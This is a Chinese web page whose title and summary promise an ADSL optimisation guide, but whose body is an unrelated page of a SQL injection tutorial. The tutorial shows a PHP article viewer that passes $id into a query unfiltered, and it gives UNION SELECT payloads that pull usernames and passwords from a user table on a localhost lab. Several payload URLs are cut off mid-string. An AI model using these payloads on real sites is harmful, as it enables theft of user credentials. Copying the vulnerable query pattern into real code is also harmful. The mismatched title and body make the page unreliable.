手把手教你优化ADSL

来源:网络 作者:admin 阅读: 字体:[ ] [打印] [关闭]
自定义标签 wzsp 未创建

内容提要:ADSL的优化原理与普通Modem相同,同样是对操作系统的网络设置做修改,使操作系统网络设置上更能充分发挥其应有的效率。而修改主要是修改Maxmtu,也就是修改最大的TCP/IP数据包大小,在TCP/IP协议中,将要传输的数据分 ……

两个SELECT的结果,当前面的SELECT为假,就会返回第二个SELECT所得的结果,某些情况会替换掉在第一个SELECT原来应该显示的字段,如下图:


看了这个图直观多了吧?所以应该先知道前面查询表的数据表的结构。如果我们查询两个数据表的字段相同,类型也相同,我们就可以这样提交:

SELECT * FROM article WHERE articleid=''$id'' UNION SELECT * FROM......


如果字段数量、字段类型任意一个不相同,就只能搞清除数据类型和字段数量,这样提交:

SELECT * FROM article WHERE articleid=''$id'' UNION SELECT 1,1,1,1,1,1,1 FROM......


否则就会报错:

The used SELECT statements have a different number of columns


如果不知道数据类型和字段数量,可以用1来慢慢试,因为1属于int\str\var类型,所以我们只要慢慢改变数量,一定可以猜到的。如果不能马上理解上面的理论,后面有很详细的例子。
我们看看下面的数据结构,是一个简单的文章数据表。

CREATE TABLE `article` (
`articleid` int(11) NOT NULL auto_increment,
`title` varchar(100) NOT NULL default '''',
`content` text NOT NULL,
PRIMARY KEY  (`articleid`)
);


这个表的字段类型分别是int、varchar、text,如果我们用UNION联合查询的时候,后面的查询的表的结构和这个一样。就可以用"SELECT *",如果有任何一个不一样,那我们只能用"SELECT 1,1,1,1......"了。

下面的文件是一个很标准、简单的显示文章的文件,很多站点都是这种页面没有过滤,所以成为最明显的注入点,下面就拿这个文件作为例子,开始我们的注入实验。

<?php
//show.php

$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";

mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");

$sql = "SELECT * FROM article WHERE articleid=''$id''";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);

if (!$row)
{
echo "该记录不存在";
echo "<p>SQL Query:$sql<p>";
exit;
}

echo "title<br>".$row[title]."<p>\n";
echo "content<br>".$row[content]."<p>\n";
echo "<p>SQL Query:$sql<p>";
?>


正常情况下,我们提交这样的一个请求:

http://127.0.0.1/injection/show.php?id=1


就会显示articleid为1的文章,但我们不需要文章,我们需要的是用户的敏感信息,就要查询user表,现在是查询刚才我们建立的user表。
由于$id没有过滤给我们制造了这个机会,我们要把show.php文件中的SQL语句改写成类似这个样子:

SELECT * FROM article WHERE articleid=''$id'' UNION SELECT * FROM user ......


由于这个代码是有单引号包含着变量的,我们现在提交:

http://127.0.0.1/injection/show.php?id ... ion select 1,username,password from user/*


按道理说,应该显示用户表的username、password两个字段的内容才对啊,怎么正常显示文章呢?如图:


其实,我们提交的articleid=1是article表里存在的,执行结果就是真了,自然返回前面SELECT的结果,当我们提交空的值或者提交一个不存在的值,就会蹦出我们想要的东西:

http://127.0.0.1/injection/show.php?i ... ion selec

上一页12345678910111213下一页
[标签: 手把手教你优化ADSL] [打印] [关闭]
站长评论(0) 查看所有评论
相关新闻

热门新闻

推荐新闻